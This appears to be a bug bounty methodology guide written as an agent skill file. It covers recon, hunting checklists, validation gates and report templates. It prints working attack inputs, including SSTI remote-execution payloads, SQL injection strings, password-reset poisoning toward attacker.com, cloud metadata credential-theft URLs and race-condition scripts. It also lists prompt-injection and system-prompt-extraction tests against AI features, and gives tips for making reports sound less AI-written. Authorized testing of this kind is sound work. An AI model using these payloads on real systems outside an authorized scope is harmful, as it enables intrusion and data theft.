Bug Bounty

Bug Bounty Master Workflow

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.

THE ONLY QUESTION THAT MATTERS

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"

>

If the answer is NO -- STOP. Do not write. Do not explore further. Move on.

Theoretical Bug = Wasted Time. Kill These Immediately:

You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

---

CRITICAL RULES

1. READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org 2. NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP. 3. KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report 4. Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST 5. One bug class at a time -- go deep, don't spray 6. Verify data isn't already public -- check web UI in incognito before reporting API "leaks" 7. 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON 8. IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target 9. CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access 10. STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere 11. BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type 12. UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user 13. DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds 14. HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks 15. ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT 16. TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior) 17. T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else

For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see `skills/bb-methodology/SKILL.md`.

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A->B BUG SIGNAL METHOD (Cluster Hunting)

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.

Known A->B->C Chains

Cluster Hunt Protocol (6 Steps)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

Real Examples

Coinbase S3->Bundle->Secret->OAuth chain:

A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain

Vienna Chatbot chain:

A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

---

TOP 1% HACKER MINDSET

How Elite Hackers Think Differently

Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"

Pre-Hunt Mental Framework

Step 1: Crown Jewel Thinking

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"

• Financial app -> drain funds, transfer to attacker account
• Healthcare -> PII leak, HIPAA violation
• SaaS -> tenant data crossing, admin takeover
• Auth provider -> full SSO chain compromise

Step 2: Developer Empathy

Think like the developer who built the feature:

• What was the simplest implementation?
• What shortcut would a tired dev take at 2am?
• Where is auth checked -- controller? middleware? DB layer?
• What happens when you call endpoint B without going through endpoint A first?

Step 3: Trust Boundary Mapping

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Step 4: Feature Interaction Thinking

• Does this new feature reuse old auth, or does it have its own?
• Does the mobile API share auth logic with the web app?
• Was this feature built by the same team or a third-party?

The Top 1% Mental Checklist

• [ ] I know the app's core business model
• [ ] I've used the app as a real user for 15+ minutes
• [ ] I know the tech stack (language, framework, auth system, caching)
• [ ] I've read at least 3 disclosed reports for this program
• [ ] I have 2 test accounts ready (attacker + victim)
• [ ] I've defined my primary target: ONE crown jewel I'm hunting for today

Mindset Rules from Top Hunters

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.

"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.

"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.

"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.

"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.

"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.

"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

---

TOOLS

Go Binaries

Tools to Install When Needed

Static Analysis (Semgrep Quick Audit)

# Install: pip3 install semgrep

# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./

# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./

# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./

# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'

FFUF Advanced Techniques

# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac

# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac

# Filter strategies:
# -fc 404,403          Filter status codes
# -fs 1234             Filter by response size
# -fw 50               Filter by word count
# -fr "not found"      Filter regex in response body
# -rate 5 -t 10        Rate limit + fewer threads for stealth
# -e .php,.bak,.old    Add extensions
# -o results.json      Save output

AI-Assisted Tools

• strix (usestrix.com) -- open-source AI scanner for automated initial sweep

---

PHASE 1: RECON

Standard Recon Pipeline

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3

Cloud Asset Enumeration

# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
  [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done

API Endpoint Discovery

# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac

HackerOne Scope Retrieval

curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

Quick Wins Checklist

• [ ] Subdomain takeover (subjack, subzy)
• [ ] Exposed .git (/.git/config)
• [ ] Exposed env files (/.env, /.env.local)
• [ ] Default credentials on admin panels
• [ ] JS secrets (SecretFinder, jsluice)
• [ ] Open redirects (?redirect=, ?next=, ?url=)
• [ ] CORS misconfig (test Origin: https://evil.com + credentials)
• [ ] S3/cloud buckets
• [ ] GraphQL introspection enabled
• [ ] Spring actuators (/actuator/env, /actuator/heapdump)
• [ ] Firebase open read (https://TARGET.firebaseio.com/.json)

Technology Fingerprinting

Framework Quick Wins

Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1 Node.js: /.env, /graphql (introspection), /_debug AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins

Source Code Recon

# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20

# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."

# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"

Language-Specific Grep Patterns

# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules

# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"

# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"

# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"

# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"

---

PHASE 2: LEARN (Pre-Hunt Intelligence)

Read Disclosed Reports

# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

"What Changed" Method

1. Find disclosed report for similar tech 2. Get the fix commit 3. Read the diff -- identify the anti-pattern 4. Grep your target for that same anti-pattern

Threat Model Template

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

6 Key Patterns from Top Reports

1. Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows 2. Developer Inconsistency = Strongest Evidence -- timingSafeEqual in one place, === elsewhere 3. "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path 4. Import/Export = SSRF -- every "import from URL" feature has historically had SSRF 5. Secondary/Legacy Endpoints = No Auth -- /api/v1/ guarded but /api/ isn't 6. Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

---

PHASE 3: HUNT

Note-Taking System (Never Hunt Without This)

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

Subdomain Type -> Hunt Strategy

• dev/staging/test: Debug endpoints, disabled auth, verbose errors
• admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
• api/api-v2: Enumerate with kiterunner, check older unprotected versions
• auth/sso: OAuth misconfigs, open redirect in redirect_uri
• upload/cdn: CORS, path traversal, stored XSS

CVE-Seeded Audit Approach

1. Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase 2. Reproduce old bugs -- verify you can find the pattern in older code 3. Pattern-match forward -- search for the same anti-pattern in current code 4. Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input

Rust/Blockchain Source Code (Hard-Won Lessons)

Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.

"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.

Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

---

VULNERABILITY HUNTING CHECKLISTS

IDOR -- Insecure Direct Object Reference

#1 most paid web2 class -- 30% of all submissions that get paid.

IDOR Variants (10 Ways to Test)

IDOR Testing Checklist

• [ ] Create two accounts (A = attacker, B = victim)
• [ ] Log in as A, perform all actions, note all IDs in requests
• [ ] Log in as B, replay A's requests with A's IDs using B's auth
• [ ] Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
• [ ] Check API v1/v2 differences
• [ ] Check GraphQL schema for node() queries
• [ ] Check WebSocket messages for client-supplied IDs
• [ ] Test batch endpoints (can you request multiple IDs?)
• [ ] Try adding unexpected params: ?user_id=other_user

IDOR Chains (higher payout)

• IDOR + Read PII = Medium
• IDOR + Write (modify other's data) = High
• IDOR + Admin endpoint = Critical (privilege escalation)
• IDOR + Account takeover path = Critical
• IDOR + Chatbot (LLM reads other user's data) = High

SSRF -- Server-Side Request Forgery

• [ ] Try cloud metadata: http://169.254.169.254/latest/meta-data/
• [ ] Try internal services: http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)
• [ ] Test all IP bypass techniques (see table below)
• [ ] Test protocol bypass: file://, dict://, gopher://
• [ ] Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers

SSRF IP Bypass Table (11 Techniques)

SSRF Impact Chain

• DNS-only = Informational (don't submit)
• Internal service accessible = Medium
• Cloud metadata readable = High (key exposure)
• Cloud metadata + exfil keys = Critical (code execution on cloud)
• Docker API accessible = Critical (direct RCE)

OAuth / OIDC

• [ ] Missing state parameter -> CSRF
• [ ] redirect_uri accepts wildcards -> ATO
• [ ] Missing PKCE -> code theft
• [ ] Implicit flow -> token leakage in referrer
• [ ] Open redirect in post-auth redirect -> OAuth token theft chain

Open Redirect Bypass Table (11 Techniques)

Use these when chaining open redirect into OAuth code theft:

File Upload

File Upload Bypass Table

Magic Bytes Reference

Race Conditions

• [ ] Coupon codes / promo codes
• [ ] Gift card redemption
• [ ] Fund transfer / withdrawal
• [ ] Voting / rating limits
• [ ] OTP verification brute via race

seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

Business Logic

• [ ] Negative quantities in cart
• [ ] Price parameter tampering
• [ ] Workflow skip (e.g., pay without checkout)
• [ ] Role escalation via registration fields
• [ ] Privilege persistence after downgrade

XSS -- Cross-Site Scripting

XSS Sinks (grep for these)

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

• XSS + sensitive page (banking, admin) = High
• XSS + CSRF token theft = CSRF bypass -> Critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• XSS in chatbot response = stored XSS chain

SQL Injection

Detection

# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi

Modern SQLi WAF Bypass

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

GraphQL

Introspection (alone = Informational, but reveals attack surface)

{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }

Batching Attack (Rate Limit Bypass)

[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI Features

• [ ] Prompt injection via user input passed to LLM
• [ ] Indirect injection via document/URL the AI processes
• [ ] IDOR in chat history (enumerate conversation IDs)
• [ ] System prompt extraction via roleplay/encoding
• [ ] RCE via code execution tool abuse
• [ ] ASCII smuggling (invisible unicode in LLM output)

Agentic AI Hunting (OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:

Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

Cache Poisoning / Web Cache Deception

• [ ] Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response
• [ ] Parameter cloaking (?param=value;poison=xss)
• [ ] Fat GET (body params on GET requests)
• [ ] Web cache deception (/account/settings.css -- trick cache into storing private response)
• [ ] Param Miner (Burp extension) -- auto-discovers unkeyed headers

HTTP Request Smuggling

• [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
• [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
• [ ] H2.CL: HTTP/2 downgrade smuggling
• [ ] TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix
• [ ] Use Burp "HTTP Request Smuggler" extension -- detects automatically

CL.TE Example

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.

Android / Mobile Hunting

• [ ] Certificate pinning bypass (Frida/objection)
• [ ] Exported activities/receivers (AndroidManifest.xml)
• [ ] Deep link injection
• [ ] Shared preferences / SQLite in cleartext
• [ ] WebView JavaScript bridge
• [ ] Mobile API often uses older/different API version than web

CI/CD Pipeline

• [ ] GitHub Actions: pull_request_target with checkout of PR code
• [ ] Secrets in workflow logs
• [ ] Artifact poisoning (overwrite existing artifacts)
• [ ] Build command injection via branch/tag names
• [ ] OIDC token theft from CI runners

SSTI -- Server-Side Template Injection

Detection Payloads

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

Where to Test

• Name/bio/description fields (profile pages)
• Email templates (invoice name, username in confirmation email)
• Custom error messages
• PDF generators (invoice, report export)
• URL path parameters
• Search queries reflected in results

Jinja2 -> RCE (Python / Flask)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB -> RCE (Ruby on Rails)

<%= `id` %>

Subdomain Takeover

Detection

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt

Quick-Kill Fingerprints

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

• Basic takeover: serve page under target.com subdomain -> Low/Medium
• + Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
• + OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
• + CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical

ATO -- Account Takeover (Complete Taxonomy)

Path 1: Password Reset Poisoning (Host Header Injection)

POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Path 2: Reset Token in Referrer Leak

After clicking reset link, if page loads external resources -> token in Referer header to external domain.

Path 3: Predictable / Weak Reset Tokens

# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50

Path 4: Token Not Expiring / Reuse

Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?

Path 5: Email Change Without Re-Authentication

PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim

Path 6: OAuth Account Linking Abuse

Can you link an OAuth account from a different email to an existing account?

Path 7: Session Fixation

GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.

Cloud / Infra Misconfigs

S3 / GCS / Azure Blob

# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

EC2 Metadata (via SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical

# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Firebase Open Rules

curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical

Exposed Admin Panels

/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json

---

PHASE 4: VALIDATE

The 7-Question Gate (Run BEFORE Writing ANY Report)

All 7 must be YES. Any NO -> STOP.

Q1: Can I exploit this RIGHT NOW with a real PoC?

Write the exact HTTP request. If you cannot produce a working request -> KILL IT.

Q2: Does it affect a REAL user who took NO unusual actions?

No "the user would need to..." with 5 preconditions. Victim did nothing special.

Q3: Is the impact concrete (money, PII, ATO, RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.

Q4: Is this in scope per the program policy?

Check the exact domain/endpoint against the program's scope page.

Q5: Did I check Hacktivity/changelog for duplicates?

Search the program's disclosed reports and recent changelog entries.

Q6: Is this NOT on the "always rejected" list?

Check the list below. If it's there and you can't chain it -> KILL IT.

Q7: Would a triager reading this say "yes, that's a real bug"?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

4 Pre-Submission Gates

Gate 0: Reality Check (30 seconds)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

Typical Scores by Bug Class

---

ALWAYS REJECTED -- Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.

N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.

Conditionally Valid With Chain

These low findings become valid bugs when chained:

---

PHASE 5: REPORT

HackerOne Report Template

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

## Summary
[2-3 sentences: what it is, where it is, what attacker can do]

## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]

## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]

## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None

Bugcrowd Report Template

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

Human Tone Rules (Avoid AI-Sounding Writing)

• Start sentences with the impact, not the vulnerability name
• Write like you're explaining to a smart developer, not a textbook
• Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
• One concrete example beats three abstract sentences
• No em dashes, no "comprehensive/leverage/seamless/ensure"

Report Title Formula

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good titles:

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
